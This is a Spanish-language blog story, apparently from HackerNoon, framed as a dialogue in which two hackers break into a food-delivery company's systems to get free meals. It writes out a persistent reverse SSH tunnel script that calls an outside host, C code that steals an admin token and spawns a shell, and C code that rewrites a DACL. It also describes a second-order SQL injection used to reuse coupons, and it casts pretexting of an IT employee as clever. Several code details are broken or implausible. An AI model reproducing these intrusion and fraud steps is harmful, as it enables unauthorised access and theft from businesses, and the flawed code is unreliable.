paint-brush
¿Tienes hambre, hermano? Vamos a hackear tu aplicación de entrega de comida favoritapor@pepitoscrespo
764 lecturas
764 lecturas

¿Tienes hambre, hermano? Vamos a hackear tu aplicación de entrega de comida favorita

por pepitoscrespo14m2024/09/24
Read on Terminal Reader

Demasiado Largo; Para Leer

Sumérgete en el mundo del hacking ético con Benicio y Simplicius mientras explotan vulnerabilidades en una popular aplicación de entrega de comida. Desde ingeniería social hasta calidad social.
featured image - ¿Tienes hambre, hermano? Vamos a hackear tu aplicación de entrega de comida favorita
pepitoscrespo HackerNoon profile picture
0-item
1-item


La forma en que un hacker de alto nivel ve el mundo es muy distinta a la rutina diaria de los trabajadores tecnológicos que fichan en una corporación tecnológica. Mientras que la mayoría de los profesionales confían en la documentación oficial, las instrucciones de sus jefes y las mejores prácticas aceptadas, un hacker confía solo en lo que se puede tocar, probar y desmantelar. Para un hacker, la comprensión llega a través de la ingeniería inversa: desmantelar los sistemas para exponer cómo funcionan realmente y luego volver a unirlos, reparar lo que está roto o explotar las vulnerabilidades.


No se trata de ser un criminal. Es la forma más pura de aprendizaje, un método tan antiguo como la curiosidad humana: descomponerlo, comprender sus partes y reconstruirlo. Es pensamiento analítico y sintético en su máxima expresión. El verdadero dominio llega cuando un hacker puede explotar el dispositivo porque esa es la prueba definitiva de que sabe exactamente cómo funciona, mejor que nadie.


Esta historia trata exactamente de eso: de cómo un hacker destacado (Benicio) de DeusExMachina y Simplicius (un novato valiente) diseccionan felizmente y finalmente obtienen el control total sobre un sistema complejo (una aplicación de entrega de comida).

Es una aventura que no es sólo intelectual y técnica, sino que fundamentalmente trata de luchar para ir más allá de las limitaciones humanas, resolviendo el enigma imposible no sólo esforzando el cerebro, sino jugando con él y, sobre todo, literalmente alimentándose de él, un rasgo que los hackers comparten con los niños.



Descargo de responsabilidad: esta historia contiene material de piratería informática real, pero solo con fines educativos. No fomenta la piratería informática ilegal.


Benicio (Hacker): Simplicius, pareces estar muerto de hambre. ¿Qué tal si pedimos algo de comida... por cuenta de la casa? Tengo un plan para hackear tu aplicación de entrega de comida favorita, usando su propio sistema de cupones.


Simplicius (novato): ( se ríe ) Ya tienes algo entre manos, ¿no? Cuéntanoslo todo.


Benicio: ( Sonríe ) Ah, ya he sentado las bases. Ayer engatusé a Greg, de su equipo de TI, hice un poco de ingeniería social y colé mi enrutador pirata directamente en su red. Ahora tenemos una línea directa a su backend y acceso a su preciado sistema de cupones. Vamos a comer.

La configuración de Benicio: El arsenal del hacker

  • Computadora portátil : la herramienta principal de Benicio es una Dell XPS 13 (Intel Core i7 de décima generación, 16 GB de RAM, 512 GB SSD) con Kali Linux , perfecta para ejecutar ataques de ingeniería social, explotación de seguridad y ejecuciones de comandos remotos.
  • Router pirata : instalado en la red de la empresa, con una versión personalizada de OpenWRT , con tunelización SSH , suplantación de direcciones MAC y pivoteo de VPN para evitar la detección. Este pequeño pero potente dispositivo está equipado con un procesador Qualcomm IPQ4019 y 256 MB de RAM , lo que garantiza sigilo y eficiencia.
  • Sistema operativo : OpenWRT , que proporciona control total sobre las funciones de red y la capacidad de eludir los firewalls.
  • Computadora portátil secundaria : para un control seguro de la red comprometida, Benicio utiliza una HP Spectre x360 con Ubuntu 22.04 con Wireshark y Metasploit para monitoreo de tráfico y análisis de explotación.

Fase 1: Configuración de ingeniería social: trabajo de ayer

Benicio: Todo empezó con Greg. Llamé, fingiendo ser parte de su “equipo de auditoría de terceros”, y Greg, que es un buen tipo, me contó todo sobre la configuración de su red. Antes de que se diera cuenta, yo estaba en su sala de servidores, “buscando vulnerabilidades” e instalando mi enrutador OpenWRT personalizado. Ese dispositivo ahora está haciendo un túnel a través de su firewall sin ser detectado.


Simplicius: ¿Convenciste a Greg para que te diera un mapa de red y te permitiera instalar un enrutador no autorizado? Sin problemas.


Benicio: (Sonríe) Ese enrutador ahora tiene un túnel SSH inverso en funcionamiento, lo que nos brinda acceso remoto cuando queramos. Este es el script que utilicé:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

Fase 2: Cómo eludir el cortafuegos: enrutador pirata en acción

Simplicius: Así que ahora has logrado burlar el cortafuegos con este dispositivo astuto. ¿Qué sigue?


Benicio: Con acceso interno completo, es hora de secuestrar un token con privilegios elevados. Encontré un proceso que se ejecutaba como administrador, utilicé la API DuplicateTokenEx() para clonar ese token y luego me hice pasar por el administrador con ImpersonateLoggedOnUser() . El sistema piensa que soy un usuario normal, pero detrás de escena, soy yo quien tiene todas las claves.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

Fase 3: Greg al rescate, otra vez

Benicio: Pero para que funcionara de verdad, necesitaba saber cómo estaban configurados sus descriptores de seguridad . Así que llamé a Greg nuevamente y le dije que necesitaba que verificara algunas configuraciones de DACL y SACL para la auditoría. Él aceptó con gusto.


Simplicius: (se ríe) Ingeniería social en su máxima expresión.

Fase 4: Alteración del descriptor de seguridad: hackeo invisible

Benicio: Ok, con la ayuda de Greg, extraje la cadena SDDL ( Security Descriptor Definition Language ) para el descriptor de seguridad del objetivo, lo que me permitió analizar y reescribir la DACL (Discretionary Access Control List) . Modifiqué la DACL para garantizarme acceso total mientras usaba indicadores de herencia inteligentes para asegurarme de que los cambios no activaran ninguna alerta ni levantaran sospechas. ¡El sistema ni siquiera parpadeó!


Una vez que la nueva DACL estuvo en funcionamiento, apliqué los cambios nuevamente al sistema. Lo bueno es que, desde la perspectiva del sistema, nada parecía fuera de lo normal . Los indicadores de herencia garantizaron que mis modificaciones permanecieran ocultas bajo las reglas de acceso existentes, pero ahora tenía el control total.


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


Fase 5: Evitar la comprobación de acceso: ¡a jugar!

La figura muestra cómo Windows compara su token de acceso (SID) y el descriptor de seguridad (DACL) del recurso en el proceso de verificación de acceso para otorgar o denegar el acceso. Benicio los manipula para eludir los controles de seguridad.


Simplicius: Entonces, ya estás dentro y tienes el control. ¿Cómo superaste el control de acceso?


Benicio: (Recostándose con confianza, señalando el diagrama de arriba) El sistema funciona a través de tres capas: integridad, basada en tokens y controles discrecionales . Normalmente, ahí es donde la mayoría de la gente llega a un callejón sin salida, pero aquí es donde entra en juego la magia. Tomé un token de administrador de un proceso privilegiado, usé ImpersonateToken() para hacer que el sistema pensara que yo era el gran jefe. Después de eso, recableé las DACL para darme acceso completo. El sistema simplemente extendió la alfombra roja.


Déjame explicarte. El token de acceso , que contiene los SID (identificadores de seguridad) y los privilegios, es como mi pasaporte. Al suplantar un token de administrador , no tuve que modificar mis SID originales. El sistema todavía pensaba que era un usuario con pocos privilegios, pero detrás de escena, tenía las llaves del reino. Eso me permitió pasar la verificación basada en tokens .


A continuación, abordé el descriptor de seguridad (DACL) . ¿Recuerdas el SDDL que saqué antes? Modifiqué el DACL para darme control total sobre el objeto, pero enmascaré inteligentemente los cambios con indicadores de herencia , asegurándome de que no se marcara nada sospechoso. El sistema ni siquiera parpadeó, pero ahora tenía el control total. Eso me llevó directamente a través de la verificación discrecional .


Simplicius: Sí, nuestro amable portero, el proceso de verificación de acceso...


Benicio: Sí, es como el portero de un club . Si tienes la identificación correcta ( SID ) y conoces al dueño del club ( DACL ), puedes entrar. Me aseguré de tener ambas cosas, la identificación correcta y el permiso del dueño, así que el portero no solo me dejó entrar, sino que me dio un pase VIP.


¿Y después de todo eso? El sistema dice " Acceso concedido" o " Acceso denegado" . Gracias a todos los movimientos que hicimos, lo adivinaste: acceso concedido . Estamos dentro, Simplicius, y el sistema ni siquiera se dio cuenta.

Fase 6: Pedir la cena: solo una inyección SQL

Benicio : Ahora, la parte divertida. No opté por la vía fácil con una cláusula UNION simple. La aplicación es demasiado inteligente para eso: están usando declaraciones preparadas . Pero ya sabes, la seguridad es tan fuerte como el eslabón más débil, y yo encontré la mía en cómo manejan los datos de perfil almacenados .


Simplicius : Está bien, me intriga. ¿Cómo lograste engañar al sistema para que aceptara un cupón falso y dejara intacto el cupón válido?


Benicio : ( inclinándose hacia adelante ) Este es el verdadero truco. La aplicación ejecuta una consulta para validar si un cupón es legítimo, pero extrae algunos de los datos de su perfil de usuario . Ahora, desinfectan la entrada cuando crea su perfil por primera vez, pero NO la vuelven a desinfectar durante las actualizaciones de perfil. Entonces, inyecté una carga útil en el campo de dirección de mi perfil, que permaneció allí sin que la aplicación la notara hasta que la incorporó en una consulta futura. Fue entonces cuando entró en acción mi inyección SQL de segundo orden . El sistema no la detectó porque la inyección ya estaba almacenada, esperando el momento adecuado.


En lugar de atacar directamente el proceso de validación de cupones, como dije, Simplicius, coloqué mi carga útil en el campo de perfil, esperando a que se usara en una consulta independiente. Así es como podría haber sido la validación de cupones original:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Normalmente, esta consulta no devolvería nada, ya que el cupón falso no existe. Pero la carga útil inyectada alteró la lógica de la consulta. El sistema no esperaba la inyección porque ya estaba almacenada en la base de datos y estaba esperando el momento justo. La consulta se manipuló para que fuera algo más parecido a esto:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

Al aprovechar la interacción entre los datos del perfil y la consulta , engañé al sistema para que extrajera simultáneamente los cupones falsos y válidos. La aplicación procesa el cupón falso para la transacción, pero el cupón válido permanece intacto en el sistema, sin modificaciones. Esto significa que puedo reutilizar el cupón válido cuando quiera.


Simplicius : Entonces, ¿no recurriste al clásico truco de entrada: colocaste la carga útil en tu perfil y dejaste que el sistema hiciera el trabajo sucio?


Benicio : Exactamente. Lo bueno es que la aplicación procesa el cupón falso para la transacción, pero en el backend, el cupón válido sigue estando disponible para su uso futuro. La carga útil almacenada sigue ejecutándose en futuras consultas, lo que la convierte en un suministro infinito de comida gratis , y ellos no se dan cuenta.


Con eso, conseguí un cupón que vale tanto como el oro. Hagamos el pedido.

Fase 7: La Fiesta — Entregada

Benicio: (se desplaza por la aplicación) Muy bien, Simplicius, ¿qué te parece algo de comida griega? Estoy pensando en souvlaki, gyros, spanakopita. Todo por cuenta de la casa, por supuesto.


Simplicio: (Sonriendo) Esta vez realmente te has superado.


Benicio: (Hace clic en confirmar) Listo. La comida está en camino.

Epílogo: El movimiento del sombrero blanco

Benicio: Después de esto, les enviaré un informe discreto explicando sus vulnerabilidades. No tienen idea de lo mal configurado que está su sistema de token de seguridad de Windows. Tal vez descubran algo antes de que llegue el próximo hacker.

Aquí está la receta de Benicio para este truco:

  • Enrutador pirata : evite los firewalls con un dispositivo personalizado que ejecuta OpenWRT y tunelización SSH.
  • Manipulación de tokens : utilice DuplicateTokenEx() e ImpersonateToken() para elevar privilegios sin generar alarmas.
  • Ingeniería social : A veces, todo lo que se necesita es hacerle la pregunta correcta a la persona correcta.
  • Exploits de descriptores de seguridad : reescribir DACL le permite eludir los controles del sistema.
  • Inyección SQL : altera la lógica de la consulta para manipular datos y generar resultados falsos pero válidos.


Simplicio: (Se inclina hacia atrás) Nos has pirateado la cena y no los has dejado enterados. Por cierto, tomaré el souvlaki.


Benicio: (Sonríe) Disfrútalo mientras dure.